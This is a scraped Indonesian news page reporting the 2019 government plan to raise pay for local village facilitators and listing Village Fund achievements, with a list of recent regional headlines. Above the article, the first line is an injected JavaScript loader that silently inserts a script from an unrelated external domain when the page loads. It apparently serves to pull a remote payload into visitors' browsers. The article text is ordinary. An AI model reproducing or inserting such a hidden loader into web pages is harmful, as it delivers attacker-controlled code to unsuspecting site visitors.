(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Pemerintah Akan Naikkan Gaji Pendamping Lokal Desa


JAKARTA, Pemerintah akan menaikkan gaji Pendamping Lokal Desa (PLD) pada 2019 karena gaji PLD dinilai masih lebih rendah dibandingkan upah minimum. Kenaikan gaji tersebut diperkirakan akan direalisasikan pada Februari atau Maret tahun ini.

Menteri Desa, Pembangunan Daerah Tertinggal dan Transmigrasi (Mendes PDTT) Eko Putro Sandjojo mengatakan, kenaikan gaji PLD tersebut merupakan permintaan dari Presiden Joko Widodo (Jokowi). Gaji PLD saat ini berkisar Rp 2 juta hingga Rp 2,7 juta per bulan.

“Kenaikan tidak terlalu besar. Ini masih dalam proses administrasi di Dirjen PDTT terkait kenaikan gaji PLD. Insya Allah, bulan Februari atau Maret, gaji PLD sudah naik,” kata Eko, seperti dilansir Antara, di Jakarta, Senin (4/2).

Dilansir katadata.co.id, kenaikan gaji PLD merupakan penghargaan dari pemerintah terhadap PLD yang telah bekerja keras mendampingi masyarakat dalam pengelolaan dana desa sehingga menjadi lebih baik dan pembangunan desa mengalami kemajuan yang pesat. Pendampingan PLD mampu meningkatkan penyerapan Dana Desa. Hasil survei juga menunjukkan tingkat kepuasan masyarakat terhadap program Dana Desa mencapai 85%.

Eko menyebutkan, dalam empat tahun terakhir program Dana Desa telah membangun sarana dan prasaran penunjang aktivitas ekonomi masyarakat. Dana tersebut digunakan untuk membangun 1.140 kilometer jembatan, jalan desa sepanjang 191.600 kilometer, 8.983 unit pasar desa, kegiatan BUMDesa sebanyak 37.830 unit, embung desa 4.175 unit, dan sarana irigasi 58.931 unit.

Selain itu, Dana Desa juga digunakan untuk membangun sarana dan prasarana penunjang kualitas hidup masyarakat desa. Seperti, pembangunan 959.569 unit sarana air bersih, 240.587 unit MCK, 9.692 unit Polindes, 50.854 unit PAUD, 24.820 unit Posyandu, serta 29,56 juta drainase.

Menurut Eko, selama empat tahun telah terjadi penurunan angka kemiskinan, penurunan angka stunting dari 37% menjadi 30%, peningkatan pendapatan per kapita hampir 50%, dan pembukaan lapangan kerja melalui program Padat Karya Tunai (PKT). Selain itu, Dana Desa juga digunakan untuk BUMDes, desa wisata, menurunkan angka pengangguran di desa, dan memperbaiki Gini ratio di desa. “Jadi, telah banyak keberhasilan yang dicapai dari Dana Desa,” ujarnya.

Lebih lanjut, Eko berpesan kepada seluruh pendamping desa untuk memprioritaskan penggunaan Dana Desa 2019 untuk pemberdayaan ekonomi dan pemberdayaan masyarakat desa. Dalam hal pembangunan ekonomi desa, yang paling cepat adalah dengan mendorong pengembangan desa-desa wisata.(rico/ktd)

Reporter : Rico/ktd
Editor : Chell

Desy Arfianty

Recent Posts

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

2 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

2 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

4 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

7 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

20 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

22 jam ago

This website uses cookies.